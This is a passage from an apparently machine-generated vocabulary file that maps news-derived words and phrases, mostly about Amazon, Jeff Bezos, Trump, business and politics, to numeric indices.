113499, "address counterfeit": 113500, "tainting": 113501, "fed chairman": 113502, "shares used": 113503, "publish picture": 113504, "watched press": 113505, "reported lord": 113506, "blackmail plot": 113507, "trading way": 113508, "county prosector": 113509, "promote amazon": 113510, "allegations wouldn": 113511, "face sanctions": 113512, "aws facing": 113513, "national origin": 113514, "shun": 113515, "terkel": 113516, "paul ryan": 113517, "computing space": 113518, "selling title": 113519, "minutes bezos": 113520, "volunteer shifts": 113521, "cloud 5g": 113522, "monetary theory": 113523, "var l4": 113524, "z4": 113525, "larger sense": 113526, "relationship washington": 113527, "boss claims": 113528, "sacks": 113529, "competition donald": 113530, "petition demanding": 113531, "sinema running": 113532, "lorton va": 113533, "publicizing": 113534, "currently america": 113535, "article cowen": 113536, "cap denim": 113537, "feb column": 113538, "personally affronted": 113539, "local crisis": 113540, "post cover": 113541, "marchionne": 113542, "pop fans": 113543, "planning tv": 113544, "protection constantly": 113545, "sensors bouncing": 113546, "markets news": 113547, "hot shot": 113548, "questionable perks": 113549, "ticker": 113550, "forthcoming": 113551, "chat jamie": 113552, "fab": 113553, "colleges brookings": 113554, "disgrace": 113555, "named jeff": 113556, "homeless bezos": 113557, "comparetotoggle false": 113558, "updated jul": 113559, "amzn 346": 113560, "jos\u00e9 serrano": 113561, "amzn managerial": 113562, "vexing": 113563, "emergency wall": 113564, "uscis": 113565, "trump juvenile": 113566, "page scottie": 113567, "smaller pie": 113568, "jobs lower": 113569, "noticed problems": 113570, "enquirer jeff": 113571, "031 mln": 113572, "branded": 113573, "358": 113574, "killer": 113575, "buyer market": 113576, "actually jeff": 113577, "snow report": 113578, "2019 jeff": 113579, "nutanix ceo": 113580, "employment labor": 113581, "trump prepared": 113582, "vital investments": 113583, "box experts": 113584, "declined straight": 113585, "petty man": 113586, "congregate online": 113587, "turns 100": 113588, "people won": 113589, "change deforestation": 113590, "juggernaut amazon": 113591, "cataloged attempts": 113592, "broadcast networks": 113593, "public response": 113594, "bezos villa": 113595, "beast characteristics": 113596, "good yes": 113597, "shame nation": 113598, "patience going": 113599, "sports right": 113600, "helpedarrange": 113601, "meet asks": 113602, "impost tariffs": 113603, "different kinds": 113604, "waters southern": 113605, "valuable contributions": 113606, "thoroughly tiresome": 113607, "murdoch": 113608, "people sen": 113609, "seeking wall": 113610, "station moveon": 113611, "pinnacle foods": 113612, "services according": 113613, "gianaris passes": 113614, "rbis": 113615, "brands": 113616, "clark think": 113617, "today minister": 113618, "subject arises": 113619, "required nexus": 113620, "life ge": 113621, "states court": 113622, "pieters shares": 113623, "thepresident trying": 113624, "thomas isn": 113625, "nyse jwn": 113626, "news shared": 113627, "767 aircraft": 113628, "culinary": 113629, "boy big": 113630, "jp": 113631, "totalitarian monopoly": 113632, "share gains": 113633, "entire national": 113634, "business supplies": 113635, "ranted": 113636, "reading trump": 113637, "tech majors": 113638, "condemned inmates": 113639, "effectively punting": 113640, "jean": 113641, "young ladies": 113642, "steve wamhoff": 113643, "geni": 113644, "college education": 113645, "compelled firm": 113646, "events guide": 113647, "japanese controlled": 113648, "seaworld": 113649, "america skyrocketing": 113650, "harrigan": 113651, "infused challenges": 113652, "altered": 113653, "reciting": 113654, "sanders criticisms": 113655, "losing half": 113656, "views jeff": 113657, "aneurysms": 113658, "known sexual": 113659, "tsunami veteran": 113660, "netflix remains": 113661, "poor working": 113662, "tariff washington": 113663, "hawaiian": 113664, "proposed secondary": 113665, "chaos inside": 113666, "creates tremendous": 113667, "place prize": 113668, "elastic compute": 113669, "punished huge": 113670, "seventh": 113671, "heineken": 113672, "greases wheels": 113673, "especially kids": 113674, "mentioned walmart": 113675, "better forest": 113676, "harriet tubman": 113677, "public trust": 113678, "story camille": 113679, "stunning depth": 113680, "volumes decline": 113681, "intrusion": 113682, "pointed ou": 113683, "rise describing": 113684, "usps money": 113685, "heartbreaking problems": 113686, "squeeze higher": 113687, "nba new": 113688, "capital wacc": 113689, "optimism reuters": 113690, "moves shoppers": 113691, "hoops star": 113692, "tech suggesting": 113693, "infatuated": 113694, "compositions borne": 113695, "brand protection": 113696, "experienced reduced": 113697, "government count": 113698, "fully clothed": 113699, "hc ic": 113700, "called gig": 113701, "illinois republicans": 113702, "job wasn": 113703, "european nationalist": 113704, "sethabramson": 113705, "politicians want": 113706, "right leaning": 113707, "personally requested": 113708, "2018 buybox": 113709, "thing says": 113710, "blocked news": 113711, "quickly cowen": 113712, "officials series": 113713, "major role": 113714, "amazon uniforms": 113715, "lawyer proposed": 113716, "educational programs": 113717, "protocol a4ee": 113718, "thepentagon": 113719, "files containing": 113720, "crazy prices": 113721, "trust traitor": 113722, "crime antarctica": 113723, "0x367": 113724, "pen cites": 113725, "100 self": 113726, "manchild": 113727, "kill payments": 113728, "knew exactly": 113729, "throw away": 113730, "shaheen job": 113731, "purdue includes": 113732, "linkedin profile": 113733, "ground greene": 113734, "clients sum": 113735, "business 2018": 113736, "significant single": 113737, "fy2020": 113738, "certain tax": 113739, "bent government": 113740, "taxes second": 113741, "brody 46m": 113742, "service consumer": 113743, "enigmatic figure": 113744, "community developer": 113745, "social events": 113746, "companies view": 113747, "ease investor": 113748, "initially fall": 113749, "new investment": 113750, "discovering baby": 113751, "bustle digital": 113752, "assistant essentially": 113753, "trademark enforcement": 113754, "seattle sprinting": 113755, "traditions": 113756, "ea try": 113757, "biggest house": 113758, "introduction entitled": 113759, "unfair india": 113760, "weekday trumpdate": 113761, "citations": 113762, "david beard": 113763, "robertson": 113764, "provides daily": 113765, "sources iduskbn1l10hs": 113766, "cellular": 113767, "campaign staff": 113768, "preliminary talks": 113769, "ecommerce giants": 113770, "online anti": 113771, "a380 superjumbo": 113772, "foundation chairman": 113773, "university fraternity": 113774, "undersigned businesses": 113775, "letters written": 113776, "small corner": 113777, "america military": 113778, "scott duke": 113779, "says legendary": 113780, "job continue": 113781, "spend 420": 113782, "story bernie": 113783, "dailycallernewsfoundation org": 113784, "getting billionaires": 113785, "government instead": 113786, "jackson documentary": 113787, "ordering standard": 113788, "combat counterfeit": 113789, "drills trump": 113790, "bruce hoffman": 113791, "appear today": 113792, "gossipy goods": 113793, "vandehei wrote": 113794, "revolving door": 113795, "sourcing outside": 113796, "extravaganza kicks": 113797, "actual facts": 113798, "elkins helped": 113799, "beijing passes": 113800, "merciless american": 113801, "finalists earlier": 113802, "half feet": 113803, "americas youngest": 113804, "andy mccabe": 113805, "agency intercepted": 113806, "trump help": 113807, "transatlantic allies": 113808, "alexander skarsg\u00e5rd": 113809, "symc": 113810, "general clouding": 113811, "8514": 113812, "high tech": 113813, "tad peeved": 113814, "clash intensifies": 113815, "option outside": 113816, "leading experts": 113817, "don appear": 113818, "immigrant stepfather": 113819, "illegal ms": 113820, "recommendations straight": 113821, "olive kitteridge": 113822, "majorities": 113823, "production fetching": 113824, "devastating crimes": 113825, "coming hq2": 113826, "financial products": 113827, "giving health": 113828, "vmware amazon": 113829, "nipple bhutan": 113830, "i1": 113831, "sympathised": 113832, "intelligence": 113833, "company gives": 113834, "california los": 113835, "try ea": 113836, "flat": 113837, "enmeshes": 113838, "process underscores": 113839, "brokers telling": 113840, "joshua gallu": 113841, "body briefly": 113842, "agency overseeing": 113843, "volumes optimizing": 113844, "warns sellers": 113845, "siu edwardsville": 113846, "taxpayer giveaway": 113847, "amzn traffic": 113848, "retail traders": 113849, "scoops sign": 113850, "best beach": 113851, "promoting faux": 113852, "psychiatrist mother": 113853, "bezos defenders": 113854, "line option": 113855, "costco hiked": 113856, "treatment 2019": 113857, "nice compendium": 113858, "unprecedented financial": 113859, "thomson believes": 113860, "theory rise": 113861, "saw communities": 113862, "restrained": 113863, "twitter message": 113864, "kirio lidiane": 113865, "deepens": 113866, "tax delivery": 113867, "100 business": 113868, "cuban immigrant": 113869, "generate hopes": 113870, "fray": 113871, "cloak played": 113872, "packers": 113873, "demented": 113874, "reading mar": 113875, "just isn": 113876, "blame sears": 113877, "growth vernon": 113878, "trump long": 113879, "representative uu": 113880, "christian college": 113881, "wxyz today": 113882, "stretched late": 113883, "chipmaker reported": 113884, "shopper merchandise": 113885, "related tucker": 113886, "data provided": 113887, "potential embarrassment": 113888, "croatian model": 113889, "jumping": 113890, "war korea": 113891, "existing laws": 113892, "member mnuchin": 113893, "computer phone": 113894, "fired woman": 113895, "gifted young": 113896, "sanders complained": 113897, "ago shooting": 113898, "scale makes": 113899, "neighborhood mean": 113900, "major character": 113901, "enquirer minneapolis": 113902, "total does": 113903, "2017 fake": 113904, "invest ruthlessly": 113905, "shaker heights": 113906, "greater capacity": 113907, "personal doing": 113908, "explanation": 113909, "jarring": 113910, "deeply grateful": 113911, "simple grocery": 113912, "drugmakers announce": 113913, "notorious markets": 113914, "coaster year": 113915, "domestic politics": 113916, "periods away": 113917, "reuters fall": 113918, "hamill": 113919, "early look": 113920, "behavior": 113921, "duty cutting": 113922, "jumped fence": 113923, "operate says": 113924, "maintain amazon": 113925, "rose new": 113926, "rosy economic": 113927, "afghanistan risking": 113928, "machine designed": 113929, "paulsen political": 113930, "newsletters thank": 113931, "cap included": 113932, "human body": 113933, "vz": 113934, "video sent": 113935, "correct multiple": 113936, "prompting anger": 113937, "counsel work": 113938, "antitrust action": 113939, "accurate national": 113940, "implicitly referring": 113941, "false politifact": 113942, "martin told": 113943, "liptak": 113944, "detailed communications": 113945, "ip numbers": 113946, "presidency amazon": 113947, "ago lost": 113948, "usps enact": 113949, "sec authority": 113950, "dad working": 113951, "leaving neverland": 113952, "million groupon": 113953, "working unpaid": 113954, "fetus ms": 113955, "varicella virus": 113956, "trends persist": 113957, "npd": 113958, "tax payer": 113959, "wf fresh": 113960, "bidding process": 113961, "evidenced": 113962, "hammered recently": 113963, "trillion online": 113964, "include reporters": 113965, "protects america": 113966, "wealth 2018": 113967, "deserved praise": 113968, "macdonald": 113969, "customer traffic": 113970, "make amends": 113971, "strong protection": 113972, "unaware": 113973, "apple reached": 113974, "individuals acquainted": 113975, "software solutions": 113976, "aut_usrid 428030": 113977, "david choi": 113978, "nyc reconnects": 113979, "2020 spending": 113980, "ravage": 113981, "revolting": 113982, "boeing 747s": 113983, "appease campaigners": 113984, "moth balls": 113985, "ceo joe": 113986, "media people": 113987, "major sticking": 113988, "ferrar archway": 113989, "father eyes": 113990, "squinting": 113991, "ub c9": 113992, "deal contained": 113993, "formal review": 113994, "products sourcescreen": 113995, "allegedly running": 113996, "postmedia wire": 113997, "purchase commercial": 113998, "list challenge": 113999, "include radio": 114000, "queens ny": 114001, "key market": 114002, "demands branding": 114003, "meghan official": 114004, "michael spavor": 114005, "potential benefits": 114006, "hizzoner": 114007, "couple lives": 114008, "missiles": 114009, "herera real": 114010, "cohen": 114011, "pbms cvs": 114012, "losing bidders": 114013, "girl airs": 114014, "pollution rules": 114015, "expanded social": 114016, "president people": 114017, "particular county": 114018, "intc announced": 114019, "haridasani": 114020, "online speech": 114021, "instructional videos": 114022, "conservative political": 114023, "ousting president": 114024, "advisor pointed": 114025, "business needs": 114026, "lorber": 114027, "mailing customers": 114028, "slowed sharply": 114029, "term establishment": 114030, "billion associated": 114031, "getting started": 114032, "ribbon": 114033, "original store": 114034, "expanded corporate": 114035, "conditional": 114036, "enforcement mission": 114037, "sole city": 114038, "interviews meeting": 114039, "macquarie": 114040, "possibly using": 114041, "graphics north": 114042, "deforestation environment": 114043, "afternoon sun": 114044, "discussed aging": 114045, "analyst laura": 114046, "goliath season": 114047, "basic credit": 114048, "act giving": 114049, "swipe": 114050, "greece called": 114051, "bigger issue": 114052, "reshuffle": 114053, "laboratory": 114054, "screens jake": 114055, "profitability goals": 114056, "new offer": 114057, "flat open": 114058, "downstate suburbs": 114059, "ama threads": 114060, "sharlene teo": 114061, "berg": 114062, "bezos business": 114063, "officials dealt": 114064, "embarrassments": 114065, "enquirer targeting": 114066, "advisers group": 114067, "ipec outside": 114068, "7ga1gpzvfu": 114069, "recreational": 114070, "department 2017": 114071, "analyst tom": 114072, "party electronics": 114073, "dems dig": 114074, "market isnt": 114075, "eco": 114076, "11th hbo": 114077, "economic arm": 114078, "amazon adding": 114079, "drawer": 114080, "warren ma": 114081, "allowing misleading": 114082, "times nyt": 114083, "japan tejal": 114084, "pickup free": 114085, "jr donaldjtrumpjr": 114086, "psychology": 114087, "promising increased": 114088, "future state": 114089, "trademark office": 114090, "company saudi": 114091, "term profitability": 114092, "akin": 114093, "amazon away": 114094, "culpan": 114095, "new arrangements": 114096, "rich people": 114097, "faangs": 114098, "confronted": 114099, "global business": 114100, "crossbody": 114101, "tech scene": 114102, "lawsuit trump": 114103, "uncategorized": 114104, "francisco new": 114105, "watch deadline": 114106, "townhall": 114107, "abbvie": 114108, "chicanx organizing": 114109, "cuts passed": 114110, "reached great": 114111, "lot different": 114112, "america merrill": 114113, "centerpiece": 114114, "brazil dam": 114115, "tweet covers": 114116, "broadens": 114117, "probably taking": 114118, "public disgust": 114119, "force suggested": 114120, "glob endowment": 114121, "means billionaire": 114122, "cerebral": 114123, "news inquiry": 114124, "bigger risk": 114125, "shitholes": 114126, "environmental destruction": 114127, "newsom yesterday": 114128, "joe wqam": 114129, "ceo stated": 114130, "pursues low": 114131, "socialmedia": 114132, "bureau government": 114133, "barrett tillman": 114134, "netflix kohl": 114135, "american billionaires": 114136, "boulevard areas": 114137, "need extra": 114138, "accept putin": 114139, "outweigh citizen": 114140, "os": 114141, "weren supplied": 114142, "significantly demonstrating": 114143, "desperately needs": 114144, "blanchett calls": 114145, "000 paying": 114146, "michael called": 114147, "pecker strange": 114148, "reportedly splitting": 114149, "california court": 114150, "making businesses": 114151, "companies engaged": 114152, "instagram saw": 114153, "afford": 114154, "financial insight": 114155, "bank stocks": 114156, "congress critter": 114157, "stocks tumble": 114158, "sore": 114159, "apple announcement": 114160, "roughly 120": 114161, "surprise delay": 114162, "package handlers": 114163, "growing teams": 114164, "brackett": 114165, "significant environmental": 114166, "jared bernstein": 114167, "consultants say": 114168, "house referring": 114169, "congress signed": 114170, "buddy david": 114171, "black audience": 114172, "report today": 114173, "2018 commentary": 114174, "tv sign": 114175, "bargaining law": 114176, "invasion kansas": 114177, "service showing": 114178, "summer": 114179, "ignorance arrogance": 114180, "sophomores launch": 114181, "danger inherent": 114182, "elevate": 114183, "coordination trump": 114184, "palestinians": 114185, "kornacki dave": 114186, "episode series": 114187, "advocate true": 114188, "interesting piece": 114189, "articleelem closest": 114190, "22m shares": 114191, "greater good": 114192, "mortar footprint": 114193, "despite unemployment": 114194, "prices inevitable": 114195, "business jobs": 114196, "laundering": 114197, "billion 766th": 114198, "maybe try": 114199, "clear blue": 114200, "v4 v4": 114201, "danger facing": 114202, "sensibly grounded": 114203, "crashed": 114204, "license spoke": 114205, "trump attempts": 114206, "caused correction": 114207, "american public": 114208, "goldberg": 114209, "obtained graphic": 114210, "inaudible": 114211, "health economist": 114212, "russian internet": 114213, "airways": 114214, "intimate images": 114215, "commission throw": 114216, "988 shares": 114217, "open past": 114218, "man carried": 114219, "just backfired": 114220, "1952": 114221, "highest official": 114222, "legitimate criticism": 114223, "tehran office": 114224, "calculated amazon": 114225, "trillion heres": 114226, "examiner": 114227, "planning increased": 114228, "sessions asking": 114229, "alerts": 114230, "broader horizons": 114231, "lt jeff": 114232, "boards does": 114233, "electronic tolling": 114234, "opioid": 114235, "market just": 114236, "delivery postal": 114237, "companionship good": 114238, "broadcast deals": 114239, "roads saving": 114240, "500 just": 114241, "michael graham": 114242, "gellman": 114243, "impressive results": 114244, "arrived demand": 114245, "address misconduct": 114246, "maria torv": 114247, "president declined": 114248, "learning games": 114249, "counter programming": 114250, "editor wrote": 114251, "stone abramowitz": 114252, "major contracting": 114253, "low prices": 114254, "woodward foto": 114255, "africa africa": 114256, "simon executive": 114257, "spokeswoman declined": 114258, "persistent gender": 114259, "approach taking": 114260, "worth reported": 114261, "sorts trump": 114262, "staunch": 114263, "jones company": 114264, "triumph": 114265, "saucy": 114266, "successfully subscribed": 114267, "company notably": 114268, "perceived enemies": 114269, "tabloid discussions": 114270, "ridiculously easy": 114271, "maranh\u00e3o": 114272, "videosourcedivid": 114273, "null movetonexttimeout": 114274, "keach hagey": 114275, "hats adorned": 114276, "costing american": 114277, "saudi dimension": 114278, "steel": 114279, "employees working": 114280, "wall col": 114281, "union built": 114282, "resurfaces": 114283, "bee": 114284, "trillion setting": 114285, "development hud": 114286, "reported strong": 114287, "discontinue partnerships": 114288, "intuition guts": 114289, "old": 114290, "extreme notes": 114291, "oversight hearing": 114292, "2018 million": 114293, "trampled": 114294, "mercurial": 114295, "sale announcement": 114296, "tags adam": 114297, "congress budget": 114298, "kill team": 114299, "stephen brashear": 114300, "study oscars": 114301, "florida attorney": 114302, "1361932001": 114303, "caravan carell": 114304, "scarcities created": 114305, "alex edelman": 114306, "freedom onewest": 114307, "journalists experience": 114308, "orman 2018": 114309, "post match": 114310, "model don": 114311, "assurances": 114312, "aggressively applied": 114313, "379": 114314, "mous": 114315, "molly schuetz": 114316, "nell hughes": 114317, "haddish": 114318, "competition price": 114319, "lighthearted": 114320, "381": 114321, "company wares": 114322, "arizona based": 114323, "differences quickly": 114324, "industry sectors": 114325, "page agriculture": 114326, "says trust": 114327, "181003143415": 114328, "labor state": 114329, "regularly condemn": 114330, "consuming masses": 114331, "benefit calculations": 114332, "gallery listings": 114333, "action steps": 114334, "erin lark": 114335, "pets": 114336, "cap table": 114337, "215 points": 114338, "charge editors": 114339, "offering siegy": 114340, "000 children": 114341, "possibly mean": 114342, "lawyer gary": 114343, "cia desk": 114344, "internet divided": 114345, "advocates pro": 114346, "trump unsavory": 114347, "money driven": 114348, "assistance aaliyah": 114349, "800 amazon": 114350, "dropped following": 114351, "foe president": 114352, "themi just": 114353, "v0 s9x": 114354, "wasby": 114355, "anticipated slowdown": 114356, "scale perspective": 114357, "walmart hashtag": 114358, "bench fans": 114359, "context source": 114360, "dave clark": 114361, "unfriendly journalists": 114362, "1100": 114363, "seeding": 114364, "outcomes cities": 114365, "crisis set": 114366, "botanical garden": 114367, "time attacking": 114368, "big democratic": 114369, "house mair": 114370, "remained client": 114371, "wp image": 114372, "cover trade": 114373, "writing america": 114374, "allies saying": 114375, "ownership mnuchin": 114376, "deserve chuckle": 114377, "new devices": 114378, "potential class": 114379, "neutral level": 114380, "stations owned": 114381, "104 million": 114382, "teacher union": 114383, "choose don": 114384, "newsy": 114385, "160 billion": 114386, "research rep": 114387, "reduced recently": 114388, "different things": 114389, "personally owned": 114390, "h6a": 114391, "pro monsanto": 114392, "old fliers": 114393, "defining point": 114394, "txn today": 114395, "progress begin": 114396, "including technology": 114397, "analyst predictions": 114398, "hamas ruled": 114399, "leaving patients": 114400, "admittedly buying": 114401, "toledo ohio": 114402, "spotted photo": 114403, "subsidies given": 114404, "leaders yesterday": 114405, "average futures": 114406, "market insurance": 114407, "tested real": 114408, "city budget": 114409, "counterpart legislation": 114410, "major loses": 114411, "big victory": 114412, "counterfeit product": 114413, "restrooms fearing": 114414, "state largest": 114415, "simply espouse": 114416, "cnnpressroom": 114417, "punitive tariffs": 114418, "pence family": 114419, "drove refn": 114420, "announced closings": 114421, "free samples": 114422, "markupid nextplay": 114423, "boxes typically": 114424, "symbol aa": 114425, "told clients": 114426, "commemorating": 114427, "association convention": 114428, "close 140": 114429, "local national": 114430, "stupid idea": 114431, "negotiating strategies": 114432, "amazon delivers": 114433, "reuters microsoft": 114434, "grudgingly": 114435, "incentive deals": 114436, "unfocused impulsive": 114437, "caps tirade": 114438, "sown urban": 114439, "killed jfk": 114440, "possibly providing": 114441, "ongoing work": 114442, "solutions shipping": 114443, "wallet innovator": 114444, "departures": 114445, "mall prior": 114446, "behavior instead": 114447, "bling just": 114448, "close campbell": 114449, "pulling paint": 114450, "accusations severe": 114451, "express posted": 114452, "pertinent given": 114453, "groups thought": 114454, "using false": 114455, "including treasury": 114456, "invest 800": 114457, "stem": 114458, "longtime conservative": 114459, "orlando police": 114460, "twitter briefly": 114461, "murdering": 114462, "account forming": 114463, "pay special": 114464, "biggest suppliers": 114465, "ntnx ntnx": 114466, "institute gala": 114467, "key takeaway": 114468, "loose alliance": 114469, "esque wigs": 114470, "investors selling": 114471, "expanding according": 114472, "describes secretary": 114473, "134 billion": 114474, "wrote don": 114475, "happier": 114476, "officially opposed": 114477, "unique ignorance": 114478, "eat dandelions": 114479, "265": 114480, "president mind": 114481, "label products": 114482, "rick kenyon": 114483, "international paper": 114484, "amazon pulling": 114485, "demanding culture": 114486, "fast approaching": 114487, "better economic": 114488, "specifically according": 114489, "cranbrook wealth": 114490, "permission": 114491, "2018 losing": 114492, "agencies investigate": 114493, "awareness": 114494, "sands casino": 114495, "published multiple": 114496, "simply using": 114497, "banks amazon": 114498, "weather jussie": 114499, "told wall": 114500, "learn amazon": 114501, "loose": 114502, "cloud scale": 114503, "ike president": 114504, "performed precisely": 114505, "855 new": 114506, "stations": 114507, "smoking marijuana": 114508, "jesus": 114509, "overweight": 114510, "2018 nobel": 114511, "velvet rope": 114512, "650 data": 114513, "abuse hoarding": 114514, "producer mark": 114515, "game skill": 114516, "year creditjohannes": 114517, "max": 114518, "malone kirchner": 114519, "cassell reports": 114520, "company attorneys": 114521, "computer memory": 114522, "legally barred": 114523, "wirecard": 114524, "ultimate outcome": 114525, "video ________________________": 114526, "justified fear": 114527, "street expectation": 114528, "amazon entertainment": 114529, "imperils": 114530, "connecting different": 114531, "military assistant": 114532, "selena blair": 114533, "military construction": 114534, "barred": 114535, "viruses inbetween": 114536, "cyber operations": 114537, "chips shares": 114538, "brexit left": 114539, "helps support": 114540, "bitchute": 114541, "comment long": 114542, "muckerman personally": 114543, "governmentof russia": 114544, "operate seamlessly": 114545, "withdrawals": 114546, "supposed reaction": 114547, "getting free": 114548, "sees shot": 114549, "brilliant need": 114550, "enthused locals": 114551, "mussolini": 114552, "says aws": 114553, "toronto bid": 114554, "poked": 114555, "phaidon": 114556, "4160": 114557, "bezos character": 114558, "infrastructure jedi": 114559, "executive concluded": 114560, "reports data": 114561, "cost strategy": 114562, "olson": 114563, "predatory behavior": 114564, "billion charity": 114565, "coordinated media": 114566, "strong partnership": 114567, "jobs new": 114568, "applications revenue": 114569, "appears amazon": 114570, "weakened clearing": 114571, "rai": 114572, "jedi process": 114573, "dargis": 114574, "2019 north": 114575, "students annually": 114576, "local chinese": 114577, "facebook arguing": 114578, "2018 fear": 114579, "consumers fighting": 114580, "roughly 250": 114581, "profile media": 114582, "jazeera english": 114583, "abuse surfaced": 114584, "kyle pope": 114585, "latest devil": 114586, "riz": 114587, "waymo": 114588, "doesn change": 114589, "businesses work": 114590, "medal": 114591, "alexa": 114592, "new book": 114593, "company lvmh": 114594, "justify sweeping": 114595, "imageserve 41775805": 114596, "misconduct ad": 114597, "ryan commutes": 114598, "learn scott": 114599, "people fall": 114600, "glob advsr": 114601, "anthropologie": 114602, "involves consensual": 114603, "bp shell": 114604, "google pushed": 114605, "enthusiastic crowd": 114606, "combover": 114607, "isabel myers": 114608, "journalism left": 114609, "materials ami": 114610, "recommended list": 114611, "freedoms liberties": 114612, "happened": 114613, "gov eric": 114614, "advisor roger": 114615, "great foreclosure": 114616, "personal autonomy": 114617, "plot points": 114618, "kamhi products": 114619, "vanderwerff noted": 114620, "courts generally": 114621, "chosen wigs": 114622, "colbert followed": 114623, "n923056 cid": 114624, "shariah law": 114625, "post": 114626, "uber trump": 114627, "understands checks": 114628, "roiled readers": 114629, "telephone": 114630, "political restraint": 114631, "maddow": 114632, "r1 d2jyz4lfsmnmp9": 114633, "losing delivery": 114634, "boy soon": 114635, "proposal aiming": 114636, "s1 tdy1rrxyabos6nze": 114637, "hindu": 114638, "enron": 114639, "additional 200": 114640, "filed complaints": 114641, "track report": 114642, "prowrestlingnet": 114643, "month sxsw": 114644, "stock options": 114645, "twitter earnings": 114646, "ilk tend": 114647, "warren addressed": 114648, "fictional beet": 114649, "mmwave auctions": 114650, "brexit goldman": 114651, "real success": 114652, "suuuuper": 114653, "political fallout": 114654, "cheers opportunities": 114655, "rich asians": 114656, "price resigned": 114657, "exodus undercuts": 114658, "brands helped": 114659, "apparent corruption": 114660, "228608": 114661, "buddies tell": 114662, "ny sen": 114663, "fail banks": 114664, "titled report": 114665, "flash": 114666, "users josh": 114667, "help protect": 114668, "hall meetings": 114669, "make room": 114670, "resistance nwdc": 114671, "stocks opened": 114672, "anti hero": 114673, "beauty asked": 114674, "twitter just": 114675, "demanding climate": 114676, "mulvaney crusader": 114677, "beltway shows": 114678, "pelecanos": 114679, "rutte warned": 114680, "sales figure": 114681, "denied president": 114682, "profitably": 114683, "season netflix": 114684, "way worse": 114685, "job think": 114686, "reputation shows": 114687, "convenience including": 114688, "measure success": 114689, "young actor": 114690, "balance": 114691, "imposition": 114692, "annual loss": 114693, "general feb": 114694, "park soon": 114695, "trump boom": 114696, "cbs digital": 114697, "hakim mcphee": 114698, "larry king": 114699, "0729et copyright": 114700, "business picked": 114701, "hidden love": 114702, "information forward": 114703, "broadcom planned": 114704, "shares whittier": 114705, "275 million": 114706, "taking loss": 114707, "awaits": 114708, "week amid": 114709, "meeting miraculous": 114710, "pearl earrings": 114711, "children books": 114712, "post citing": 114713, "firm realized": 114714, "naturalnews": 114715, "krx": 114716, "workers sec": 114717, "amazon rob": 114718, "constant watch": 114719, "scandal quietly": 114720, "kemper begged": 114721, "comments emailed": 114722, "general merchandise": 114723, "adorable dream": 114724, "fed rethinks": 114725, "inevitable": 114726, "rep tries": 114727, "michigan investigators": 114728, "interview broadcast": 114729, "playbook massachusetts": 114730, "requiring businesses": 114731, "meeting set": 114732, "going wrong": 114733, "jet eating": 114734, "haired wig": 114735, "martin houghton": 114736, "inaccurate amazon": 114737, "incentives worth": 114738, "gigyashareelement undefined": 114739, "v7wv9basue": 114740, "foreign capital": 114741, "tariffs imposed": 114742, "1620et copyright": 114743, "year senate": 114744, "company globally": 114745, "plus similar": 114746, "assembly puts": 114747, "insider simon": 114748, "durand potus": 114749, "clark": 114750, "refreshed product": 114751, "assassinations continue": 114752, "technology retailer": 114753, "armed image": 114754, "jesus moment": 114755, "network worldwide": 114756, "aback": 114757, "group boasting": 114758, "undermining exactly": 114759, "privacy violated": 114760, "season bruce": 114761, "schmidt netflix": 114762, "saudi angle": 114763, "brzezinski": 114764, "believing bizarre": 114765, "amazon personnel": 114766, "sturdy": 114767, "muckrock": 114768, "mortgage company": 114769, "fing": 114770, "conniving": 114771, "method": 114772, "freighter": 114773, "fiercely oppose": 114774, "investigation tracking": 114775, "worse financial": 114776, "defending religious": 114777, "fahrenheit 451": 114778, "inauguration": 114779, "object r4ee": 114780, "steve don": 114781, "act protections": 114782, "day right": 114783, "comparisons difficult": 114784, "beautiful french": 114785, "motivational help": 114786, "overseas 2018": 114787, "obstfeld": 114788, "fortune lobbyist": 114789, "cracked 150": 114790, "parcel service": 114791, "growth lags": 114792, "sonne": 114793, "king novel": 114794, "afghanistan air": 114795, "try articleelem": 114796, "acuity": 114797, "trump ecommerce": 114798, "defense classifications": 114799, "risk worth": 114800, "forests negatively": 114801, "addition winning": 114802, "batshit": 114803, "recall failures": 114804, "development usaid": 114805, "portland food": 114806, "helming": 114807, "post accused": 114808, "bezos recent": 114809, "package shipping": 114810, "girlfriend family": 114811, "depend": 114812, "spokesperson told": 114813, "commission germany": 114814, "subpoenas": 114815, "lowey": 114816, "speaker paul": 114817, "amazon fault": 114818, "shirts 2018": 114819, "years task": 114820, "wendi": 114821, "imposed": 114822, "retailing platform": 114823, "hill senate": 114824, "really teaching": 114825, "identical time": 114826, "akanksha rana": 114827, "consumers united": 114828, "paves": 114829, "longer sell": 114830, "love seat": 114831, "khan worked": 114832, "team exchanged": 114833, "house ethics": 114834, "vast spending": 114835, "computer settings": 114836, "governance spencer": 114837, "kat holmes": 114838, "underground railroad": 114839, "quietly signed": 114840, "ages blaze": 114841, "leisure": 114842, "supporter launch": 114843, "conference trump": 114844, "outlining deal": 114845, "president women": 114846, "post largest": 114847, "2009 2018": 114848, "new early": 114849, "incentives offered": 114850, "dreams creative": 114851, "ecological": 114852, "monster rally": 114853, "results late": 114854, "director christopher": 114855, "roads averaging": 114856, "arranging child": 114857, "fewer shipping": 114858, "ross ivanka": 114859, "battles": 114860, "force breakups": 114861, "pay tv": 114862, "government reorganization": 114863, "trump organization": 114864, "publication owned": 114865, "s7a x2x": 114866, "briefly interrupted": 114867, "conditions later": 114868, "shapiro real": 114869, "provably false": 114870, "set minimum": 114871, "person board": 114872, "team original": 114873, "companies market": 114874, "reelection bid": 114875, "glorious thing": 114876, "holiday shortened": 114877, "paying state": 114878, "africans": 114879, "lotteries": 114880, "tough decision": 114881, "approximately 789": 114882, "bequeathing": 114883, "kept diary": 114884, "paper towel": 114885, "investigation appeared": 114886, "avenues": 114887, "connecticut trump": 114888, "action employer": 114889, "amazon listens": 114890, "new pass": 114891, "includes making": 114892, "coaster ride": 114893, "crony does": 114894, "offering competing": 114895, "quality convenience": 114896, "members pilgrimage": 114897, "called noon": 114898, "future information": 114899, "dozen new": 114900, "traumatizing things": 114901, "rain powerful": 114902, "661": 114903, "furnishing": 114904, "jefferies amazon": 114905, "huawei business": 114906, "history": 114907, "working alongside": 114908, "enemies": 114909, "country excluding": 114910, "royal bank": 114911, "shortened christmas": 114912, "includes automatic": 114913, "thriller article38253336": 114914, "months despite": 114915, "facebook data": 114916, "washington zonar": 114917, "socks company": 114918, "laser guided": 114919, "american legal": 114920, "investigation marines": 114921, "just lower": 114922, "walmart strikes": 114923, "party logistics": 114924, "urged edc": 114925, "distribution companies": 114926, "wnd": 114927, "polly": 114928, "cbsmiami news": 114929, "valley tech": 114930, "doesn expect": 114931, "disclosed amazon": 114932, "stop misleading": 114933, "giving president": 114934, "largest venues": 114935, "dead long": 114936, 